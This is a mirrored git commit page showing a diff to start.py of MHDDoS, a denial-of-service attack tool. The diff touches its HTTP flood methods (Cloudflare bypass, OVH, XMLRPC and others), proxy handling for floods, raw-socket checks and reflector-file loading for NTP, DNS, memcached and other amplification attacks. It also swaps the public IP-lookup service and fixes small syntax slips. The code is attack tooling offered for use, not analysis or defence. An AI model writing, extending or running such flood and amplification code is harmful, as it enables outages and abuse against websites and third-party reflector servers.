mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 19:56:37 +08:00
Merge branch 'main' into level_4_proxy_support
This commit is contained in:
commit
0a084d5036
12
start.py
12
start.py
|
@ -36,7 +36,7 @@ ctx.verify_mode = CERT_NONE
|
||||||
|
|
||||||
__version__ = "2.1 SNAPSHOT"
|
__version__ = "2.1 SNAPSHOT"
|
||||||
__dir__ = Path(__file__).parent
|
__dir__ = Path(__file__).parent
|
||||||
__ip__ = get('http://ip.42.pl/raw').text
|
__ip__ = get('https://api.my-ip.io/ip').text
|
||||||
|
|
||||||
|
|
||||||
def exit(*message):
|
def exit(*message):
|
||||||
|
@ -412,8 +412,8 @@ class HttpFlood(Thread):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getMethodType(method: str) -> str:
|
def getMethodType(method: str) -> str:
|
||||||
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
|
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
|
||||||
"STRESS", "DYN", "SLOW", "PPS", "APACHE"
|
"STRESS", "DYN", "SLOW", "PPS", "APACHE",
|
||||||
"BOT"} \
|
"BOT",} \
|
||||||
else "POST" if {method.upper()} & {"POST", "XMLRPC"} \
|
else "POST" if {method.upper()} & {"POST", "XMLRPC"} \
|
||||||
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
|
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
|
||||||
else "REQUESTS"
|
else "REQUESTS"
|
||||||
|
@ -1082,6 +1082,8 @@ if __name__ == '__main__':
|
||||||
|
|
||||||
if proxy_ty not in {4, 5, 1, 0}: exit("Proxy Type Not Found [4, 5, 1, 0]")
|
if proxy_ty not in {4, 5, 1, 0}: exit("Proxy Type Not Found [4, 5, 1, 0]")
|
||||||
if threads > 1000: logger.warning("thread is higher than 1000")
|
if threads > 1000: logger.warning("thread is higher than 1000")
|
||||||
|
if proxy_ty not in {4, 5, 1, 0}: exit("Socks Type Not Found [4, 5, 1, 0]")
|
||||||
|
if threads > 1000: logger.warning("Thread is higher than 1000")
|
||||||
if rpc > 100: logger.warning("RPC (Request Pre Connection) is higher than 100")
|
if rpc > 100: logger.warning("RPC (Request Pre Connection) is higher than 100")
|
||||||
|
|
||||||
if not proxy_li.exists():
|
if not proxy_li.exists():
|
||||||
|
@ -1101,7 +1103,7 @@ if __name__ == '__main__':
|
||||||
|
|
||||||
proxies = ProxyUtiles.readFromFile(proxy_li)
|
proxies = ProxyUtiles.readFromFile(proxy_li)
|
||||||
if not proxies:
|
if not proxies:
|
||||||
logger.info("Empty Proxy File, Running flood witout proxy")
|
logger.info("Empty Proxy File, running flood witout proxy")
|
||||||
proxies = None
|
proxies = None
|
||||||
if proxies:
|
if proxies:
|
||||||
logger.info(f"Proxy Count: {len(proxies):,}")
|
logger.info(f"Proxy Count: {len(proxies):,}")
|
||||||
|
@ -1136,9 +1138,9 @@ if __name__ == '__main__':
|
||||||
not ToolsConsole.checkRawSocket(): exit("Cannot Create Raw Socket ")
|
not ToolsConsole.checkRawSocket(): exit("Cannot Create Raw Socket ")
|
||||||
|
|
||||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}:
|
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}:
|
||||||
|
if len(argv) >= 6:
|
||||||
if len(argv) == 7:
|
if len(argv) == 7:
|
||||||
logger.setLevel("DEBUG")
|
logger.setLevel("DEBUG")
|
||||||
if len(argv) == 6:
|
|
||||||
refl_li = Path(__dir__ / "files" / argv[5].strip())
|
refl_li = Path(__dir__ / "files" / argv[5].strip())
|
||||||
if not refl_li.exists(): exit("The Reflector file doesn't exist ")
|
if not refl_li.exists(): exit("The Reflector file doesn't exist ")
|
||||||
ref = set(a.strip() for a in ProxyTools.Patterns.IP.findall(refl_li.open("r+").read()))
|
ref = set(a.strip() for a in ProxyTools.Patterns.IP.findall(refl_li.open("r+").read()))
|
||||||
|
|
Loading…
Reference in New Issue
Block a user